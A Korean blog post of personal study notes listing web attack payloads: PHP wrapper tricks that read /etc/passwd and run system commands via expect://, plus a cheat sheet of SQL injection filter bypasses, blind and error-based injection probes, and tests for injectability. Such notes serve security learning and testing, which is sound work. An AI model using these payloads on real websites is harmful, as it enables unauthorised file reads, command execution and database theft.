본문 바로가기

웹해킹

php wrapper , SQL injection 필터링 우회 방법 소개 및 간단 정리

반응형

1. php wrapper

1) filter = php://filer wrapper는 encode/decode 옵션을 사용하여 서버 안에 존재하는 문서들을 열람할 수 있습니다.

ex) www.[우리가 공격할 웹 사이트의 주소].index?page=php://filter/convert.base64-encode/resource=/etc/passwd

 

 

2) expect= 우리에게 system command를 실행시켜준다.

ex) www.[우리가 공격할 웹 사이트의 주소].index.php?page=expect://ls

 

 

php wrapper , SQL injection

2. SQL Injection Filtering Bypass

1) or, and : ||, &&

 

2) String Filtering (preg_match - admin)

: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110,

                char(0x61, 0x64, 0x6d, 0x69, 0x6e)

 

3) Blind SQL Injection 시 '='(Equal) Filtering

: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')

 

4) substr filtering

: right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)

 

5) ereg, eregi

: 'admin' 필터링 시 'AdmIN' 등으로 우회 가능, 맨 앞에 %00을 삽입 시 뒤의 문자가 필터링 되지 않음

 

6) replace, replaceAll

: 'admin' 필터링 시 'adadminmin' 등으로 우회 가능

 

7) numeric character filtering

: 0 -> '!'='@'

: 1 -> '!'='!' 등으로 true, false 및 수식을 이용하여 숫자를 표현 가능

 

8) White Space Filtering (%20)

: %20 -> %0a %0b %0c %0d %09

 

9) Single Quote Filtering (%27)

: ‘“”’의 경우, %bf%27 로 Multibyte를 만들어 필터링을 우회

: '\' 문자가 필터링 안될 때
ex. select test1 from test where id='\' and pw=' or 1# -> parameter : id=\&pw=%20or%201%23

 

10) 주석

: #, --, ;%00, /* */

: '#'의 주석 범위는 한 줄이기에 %0a로 줄이 나뉘기에 아래 예제처럼 사용 가능

* select user from Board where id='abc'# and pw='%0a or id='admin'%23

: /* */: * select user from Board  where id='abc'/* and pw=''*/ or id='admin'%23

 

 

Blind SQL Injection: sub query의 결과로 여러 row가 나오는데 where 문을 쓸 수 없을 때

: max(column_name), min(column_name), group_concat(column_name)

 

테이블명, 컬럼명을 알아내야 할 때

: select user from Board where id='admin' and pw='1234' procedure analyse();

* limit 2,1 등과 함께 사용하여 필요한 컬럼 명을 한 줄로 뽑아낼 수 있음

 

Error Based SQL Injection 할 때

: 0xfffffffffffff*0xfffffffffffff 를 하면 Integer 범위 초과 에러가 발생한다

 

 

MultiByte Character SQL Injection

: 'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.

 

* substr(hex(test1),1,1)=0x41

※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.

 

 

SQL Injection이 먹히는지 알아볼 때

: '(싱글쿼터)를 썼을 때 에러가 나는지

: ' and '1'='1 , ' and '1'='2 를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지

: ' or '1'='1 을 썼을 때 정상적으로 출력되는 지

: 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지

: '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )

: 주석을 쓸때는 #(%23), -- (--%20), %0a

 
 

 

 

이 글은 공부할 때 참고하기 위해 작성한 글입니다.

 

참고사이트

 https://g-idler.tistory.com/61

728x90